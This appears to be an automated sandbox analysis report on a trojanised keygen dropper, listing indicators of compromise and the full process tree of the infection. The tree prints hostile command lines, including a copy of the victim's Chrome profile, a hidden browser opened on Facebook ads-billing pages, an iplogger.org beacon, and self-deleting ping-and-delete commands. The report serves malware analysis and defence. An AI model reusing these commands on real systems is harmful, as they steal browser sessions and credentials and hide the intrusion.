5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe -
Runs .reg file with regedit 2 IoCs
Processes:
regedit.exeregedit.exepid process 6568 regedit.exe 2740 regedit.exe -
Runs ping.exe 1 TTPs 7 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEpid process 6064 PING.EXE 1116 PING.EXE 4292 PING.EXE 5004 PING.EXE 3396 PING.EXE 3032 PING.EXE 64 PING.EXE -
Script User-Agent 9 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 180 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 203 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 221 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 366 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 458 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 183 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 187 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 210 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 240 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
chrome.exechrome.exechrome.exechrome.exekey.exefile.exeB00D.tmp.exechrome.exe1614892449333.exe1614892453677.exemultitimer.exepid process 3952 chrome.exe 3952 chrome.exe 2292 chrome.exe 2292 chrome.exe 5024 chrome.exe 5024 chrome.exe 5036 chrome.exe 5036 chrome.exe 3452 key.exe 3452 key.exe 4468 file.exe 4468 file.exe 4468 file.exe 4468 file.exe 4468 file.exe 4468 file.exe 4468 file.exe 4468 file.exe 4604 B00D.tmp.exe 4604 B00D.tmp.exe 2584 chrome.exe 2584 chrome.exe 1508 1614892449333.exe 1508 1614892449333.exe 5072 1614892453677.exe 5072 1614892453677.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe 4840 multitimer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
key.exefile.exemsiexec.exemsiexec.exedescription pid process Token: SeImpersonatePrivilege 3452 key.exe Token: SeTcbPrivilege 3452 key.exe Token: SeChangeNotifyPrivilege 3452 key.exe Token: SeCreateTokenPrivilege 3452 key.exe Token: SeBackupPrivilege 3452 key.exe Token: SeRestorePrivilege 3452 key.exe Token: SeIncreaseQuotaPrivilege 3452 key.exe Token: SeAssignPrimaryTokenPrivilege 3452 key.exe Token: SeImpersonatePrivilege 3452 key.exe Token: SeTcbPrivilege 3452 key.exe Token: SeChangeNotifyPrivilege 3452 key.exe Token: SeCreateTokenPrivilege 3452 key.exe Token: SeBackupPrivilege 3452 key.exe Token: SeRestorePrivilege 3452 key.exe Token: SeIncreaseQuotaPrivilege 3452 key.exe Token: SeAssignPrimaryTokenPrivilege 3452 key.exe Token: SeImpersonatePrivilege 3452 key.exe Token: SeTcbPrivilege 3452 key.exe Token: SeChangeNotifyPrivilege 3452 key.exe Token: SeCreateTokenPrivilege 3452 key.exe Token: SeBackupPrivilege 3452 key.exe Token: SeRestorePrivilege 3452 key.exe Token: SeIncreaseQuotaPrivilege 3452 key.exe Token: SeAssignPrimaryTokenPrivilege 3452 key.exe Token: SeImpersonatePrivilege 3452 key.exe Token: SeTcbPrivilege 3452 key.exe Token: SeChangeNotifyPrivilege 3452 key.exe Token: SeCreateTokenPrivilege 3452 key.exe Token: SeBackupPrivilege 3452 key.exe Token: SeRestorePrivilege 3452 key.exe Token: SeIncreaseQuotaPrivilege 3452 key.exe Token: SeAssignPrimaryTokenPrivilege 3452 key.exe Token: SeImpersonatePrivilege 3452 key.exe Token: SeTcbPrivilege 3452 key.exe Token: SeChangeNotifyPrivilege 3452 key.exe Token: SeCreateTokenPrivilege 3452 key.exe Token: SeBackupPrivilege 3452 key.exe Token: SeRestorePrivilege 3452 key.exe Token: SeIncreaseQuotaPrivilege 3452 key.exe Token: SeAssignPrimaryTokenPrivilege 3452 key.exe Token: SeDebugPrivilege 4468 file.exe Token: SeShutdownPrivilege 2792 msiexec.exe Token: SeIncreaseQuotaPrivilege 2792 msiexec.exe Token: SeSecurityPrivilege 4928 msiexec.exe Token: SeCreateTokenPrivilege 2792 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2792 msiexec.exe Token: SeLockMemoryPrivilege 2792 msiexec.exe Token: SeIncreaseQuotaPrivilege 2792 msiexec.exe Token: SeMachineAccountPrivilege 2792 msiexec.exe Token: SeTcbPrivilege 2792 msiexec.exe Token: SeSecurityPrivilege 2792 msiexec.exe Token: SeTakeOwnershipPrivilege 2792 msiexec.exe Token: SeLoadDriverPrivilege 2792 msiexec.exe Token: SeSystemProfilePrivilege 2792 msiexec.exe Token: SeSystemtimePrivilege 2792 msiexec.exe Token: SeProfSingleProcessPrivilege 2792 msiexec.exe Token: SeIncBasePriorityPrivilege 2792 msiexec.exe Token: SeCreatePagefilePrivilege 2792 msiexec.exe Token: SeCreatePermanentPrivilege 2792 msiexec.exe Token: SeBackupPrivilege 2792 msiexec.exe Token: SeRestorePrivilege 2792 msiexec.exe Token: SeShutdownPrivilege 2792 msiexec.exe Token: SeDebugPrivilege 2792 msiexec.exe Token: SeAuditPrivilege 2792 msiexec.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
chrome.exemsiexec.exechrome.exechashepro3.tmpSetup3310.tmpIBInstaller_97039.tmpvict.tmphg3zktuxay3.tmpvpn.tmppid process 2292 chrome.exe 2292 chrome.exe 2292 chrome.exe 2792 msiexec.exe 4956 chrome.exe 4956 chrome.exe 5000 chashepro3.tmp 4792 Setup3310.tmp 5136 IBInstaller_97039.tmp 2940 vict.tmp 2128 hg3zktuxay3.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp 2692 vpn.tmp -
Suspicious use of SetWindowsHookEx 32 IoCs
Processes:
Setup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exefirefox.exe1614892449333.exefirefox.exe1614892453677.exefirefox.exe1614892459749.exevict.exehg3zktuxay3.exesafebits.exeaskinstall24.exeSetup3310.exevpn.exechashepro3.exeIBInstaller_97039.exeSetup3310.tmpchashepro3.tmpvpn.tmpvict.tmphg3zktuxay3.tmpIBInstaller_97039.tmpchrome_proxy.exewimapi.exewinlthst.exeikcuiekf30w.exeSetup.exeikcuiekf30w.tmpSetup.tmpThunderFW.exeMicrosoftEdge.exepid process 4848 Setup.exe 3920 C0CA61A12E4C8B38.exe 1904 C0CA61A12E4C8B38.exe 4712 firefox.exe 1508 1614892449333.exe 3912 firefox.exe 5072 1614892453677.exe 2980 firefox.exe 4136 1614892459749.exe 4868 vict.exe 744 hg3zktuxay3.exe 4752 safebits.exe 1524 askinstall24.exe 1800 Setup3310.exe 716 vpn.exe 4232 chashepro3.exe 188 IBInstaller_97039.exe 4792 Setup3310.tmp 5000 chashepro3.tmp 2692 vpn.tmp 2940 vict.tmp 2128 hg3zktuxay3.tmp 5136 IBInstaller_97039.tmp 5676 chrome_proxy.exe 5876 wimapi.exe 5952 winlthst.exe 4464 ikcuiekf30w.exe 5692 Setup.exe 5936 ikcuiekf30w.tmp 5860 Setup.tmp 4400 ThunderFW.exe 6012 MicrosoftEdge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrome.exedescription pid process target process PID 2292 wrote to memory of 2120 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2120 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 1220 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 3952 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 3952 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe PID 2292 wrote to memory of 2720 2292 chrome.exe chrome.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe"C:\Users\Admin\AppData\Local\Temp\Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\B00D.tmp.exe"C:\Users\Admin\AppData\Roaming\B00D.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\B00D.tmp.exe"C:\Users\Admin\AppData\Roaming\B00D.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1614892449333.exe"C:\Users\Admin\AppData\Roaming\1614892449333.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614892449333.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1614892453677.exe"C:\Users\Admin\AppData\Roaming\1614892453677.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614892453677.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1614892459749.exe"C:\Users\Admin\AppData\Roaming\1614892459749.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614892459749.txt"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6OOT0.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-6OOT0.tmp\23E04C4F32EF2158.tmp" /SL5="$304CE,762308,115712,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent7⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"8⤵
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp15⤵
- Executes dropped EXE
- Drops Chrome extension
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UXDQ1VBJLK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\UXDQ1VBJLK\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\UXDQ1VBJLK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\UXDQ1VBJLK\multitimer.exe" 1 3.1614888639.60413ebfc0090 1016⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\UXDQ1VBJLK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\UXDQ1VBJLK\multitimer.exe" 2 3.1614888639.60413ebfc00907⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\tiqnxdppqvp\ocwkf3duu1q.exe"C:\Users\Admin\AppData\Local\Temp\tiqnxdppqvp\ocwkf3duu1q.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 6529⤵
- Drops file in Windows directory
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 6689⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 7049⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 8169⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 8809⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 9289⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 11649⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 12329⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\5aygnunkm0j\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\5aygnunkm0j\askinstall24.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\vghitsserez99\" /s /e /y9⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/9⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\vghitsserez99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\vghitsserez99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\vghitsserez99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xf0,0xf4,0xf8,0xcc,0xfc,0x7ffb65526e00,0x7ffb65526e10,0x7ffb65526e2010⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --mojo-platform-channel-handle=2096 /prefetch:810⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2808 /prefetch:110⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1824,13025873945954463842,696857644360912444,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\vghitsserez99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:110⤵
-
